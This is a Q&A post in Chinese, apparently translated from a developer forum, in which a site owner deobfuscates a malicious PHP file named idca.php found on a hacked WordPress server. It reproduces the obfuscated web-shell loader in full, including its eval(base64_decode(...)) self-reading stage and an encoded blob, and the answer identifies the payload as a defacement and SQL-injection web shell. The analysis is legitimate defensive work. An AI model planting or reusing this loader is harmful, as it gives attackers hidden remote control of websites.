分析WordPress Hack:解密idca.php
作者:互联网
我在服务器上发现了一些令人讨厌的代码,并且试图对其进行解密,以找出有关此攻击的一切措施,以防止将来再次受到攻击.整个php文件是一块巨大的文本块,但是在charactervomit之前是这样的:
<?php /* Coded By ./Cyber404 & Encryted By Mr-GanDrunX */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x4A2B0;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NTE0KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>
我已经通过删除十六进制来减少它:
<?php /* Coded By ./Cyber404 & Encryted By Mr-GanDrunX */$OOO000000=urldecode('fg6sbehpra4co_tnd');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x4A2B0;$O000O0O00=$OOO000O00($OOO0O0O00,'rb');$O0O00OO00($O000O0O00,0x514);$OO00O00O0=$OOO0000O0($OOO00000O($O0O00OO00($O000O0O00,0x17c),'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'));eval($OO00O00O0);return;?>
解决了其中一些问题并发现了这一点:
<?php /* Coded By ./Cyber404 & Encryted By Mr-GanDrunX */$OOO000000=urldecode('fg6sbehpra4co_tnd');$OOO0000O0=base64_decode;$OOO000O00=fopen;$O0O000O00=fget;$O0O000O0O=fgetc;$O0O000O00=fgets;$O0O00OO00=fread;$OOO00000O=strtr;$OOO0O0O00=__FILE__;$OO00O0000=0x4A2B0;eval(base64_decode('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NTE0KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>
这些是通过urldecode解决的:
$OOO0000O0 = base64_decode
$OOO000O00 =打开
$O0O000O00 = fget
$O0O000O0O = fgetc
$O0O000O00 = fgets
$O0O00OO00 =读取
$OOO00000O = strtr
然后从ddecode.com对此进行解码:
eval(base64_decode('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NTE0KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='))
解码为此:
$O000O0O00=$OOO000O00($OOO0O0O00,'rb');$O0O00OO00($O000O0O00,0x514);$OO00O00O0=$OOO0000O0($OOO00000O($O0O00OO00($O000O0O00,0x17c),'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'));eval($OO00O00O0);
更多替换,它看起来像这样:
<?php /* Coded By ./Cyber404 & Encryted By Mr-GanDrunX */$OOO000000=urldecode('fg6sbehpra4co_tnd');$OOO0000O0=base64_decode;$OOO000O00=fopen;$O0O000O00=fget;$O0O000O0O=fgetc;$O0O000O00=fgets;$O0O00OO00=fread;$OOO00000O=strtr;$OOO0O0O00=__FILE__;$OO00O0000=0x4A2B0;$O000O0O00=fopen(__FILE__,'rb');fread(fopen(__FILE__,'rb'),0x514);$OO00O00O0=base64_decode(strtr(fread(fopen(__FILE__,'rb'),0x17c),'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'));eval(base64_decode(strtr(fread(fopen(__FILE__,'rb'),0x17c),'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')));return;?>
这是我遇到的问题..我尝试从同一站点进行解码:
eval(base64_decode(strtr(fread(fopen(__FILE__,'rb'),0x17c),'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')))
但这让我错了
我认为我可以做更多的简化
fread(fopen(__FILE__,'rb'),0x17c)
但是我不知道从那里去哪里,老实说,盯着这个解密,再加上令人讨厌的类似var名的解密,就让我的头受了伤.有没有人经历过这样的事情?
编辑:另外,在php关闭之后和字符呕吐之前,它有点清晰,显示出看起来像半模糊的bash命令:
root@Hiddenymouz:~#./hiddenymouz45DSFJK4sdfkmlskv2jjd5lsdh74ks/25akdhelals,fnfje5aldlfg46duf96msvc/hs/nrjdhkr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb18mRtwmwJ4LT09NHr8XTzEXRJwmwJXLT09NHeEXHr8XhtONT08XHeEXHr8Pkr8XTzEXT08XHtILTzEXHr8XTzEXRtONTzEXTzEXHeEpRtfydmOlFmlvfbfqDykwBAsKa09aaryiWMkeC0OLOMcuc0lpUMpHdr1sAunOFaYzamcCGyp6HerZHzW1YjF4KUSvNUFSk0ytW0OyOLfwUApRTr1KT1nOAlYAaacbBylDCBkjcoaMc2ipDMsSdB5vFuyZF3O1fmf4GbPXHTwzYeA2YzI5hZ8mhULpK2cjdo9zcUILTzEXHr8XTzEXhTslfMyShtONTzEXTzEXTzEpKX==
解决方法:
这似乎是完整的(未加密的)源代码
http://unphp.net/decode/80efdfa4ccacbcf18c21512db1afd509
认为这是印度尼西亚网络军使用的webshell php漏洞利用脚本,用于破坏网站,进行(my)sql注入/漏洞/转储,ddos等操作
包括RAB3OUN的shell脚本
可能是X’1n73ct重新编码的Config Shell Priv8 SCR脚本
标签:encryption,obfuscation,wordpress,php 来源: https://codeday.me/bug/20191122/2063128.html